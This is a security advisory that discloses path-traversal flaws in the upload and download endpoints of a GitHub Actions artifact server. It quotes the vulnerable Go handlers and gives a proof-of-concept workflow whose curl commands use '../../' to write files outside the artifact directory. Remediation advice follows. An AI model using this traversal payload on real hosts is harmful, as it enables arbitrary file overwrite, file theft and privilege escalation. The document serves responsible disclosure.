Impact

The artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation.

Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)

The /upload endpoint is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.

router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
		itemPath := req.URL.Query().Get("itemPath")
		runID := params.ByName("runId")

		if req.Header.Get("Content-Encoding") == "gzip" {
			itemPath += gzipExtension
		}

		filePath := fmt.Sprintf("%s/%s", runID, itemPath)

Issue 2: Arbitrary file download in artifact server (GHSL-2023-004)

The /artifact endpoint is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server.

router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
		path := params.ByName("path")[1:]

		file, err := fsys.Open(path)

Proof of Concept

Below I have written a Github Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.

When testing this POC, the --artifact-server-path parameter must be passed to act in order to enable the artifact server.
Replace yourIPandPort with the IP and port of the server. An attacker can enumerate /proc/net/tcp in order to find the artifact server IP and port, but this is out of the scope of this report. Please let me know if you would like a copy of this script.

name: CI
on: push

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
    - run: echo "Here are some secrets" > secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt
    - run: curl http://<yourIPandPort>/upload/1?itemPath=../../secret.txt --upload-file secret.txt

Remediation

1. During implementation of Open and OpenAtEnd for FS, please ensure to use ValidPath() to check against path traversal. See more here: https://pkg.go.dev/io/fs#FS
2. Clean the user-provided paths manually

Patches

No patch yet.

Workarounds

Avoid use of artifact server with --artifact-server-path

References

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).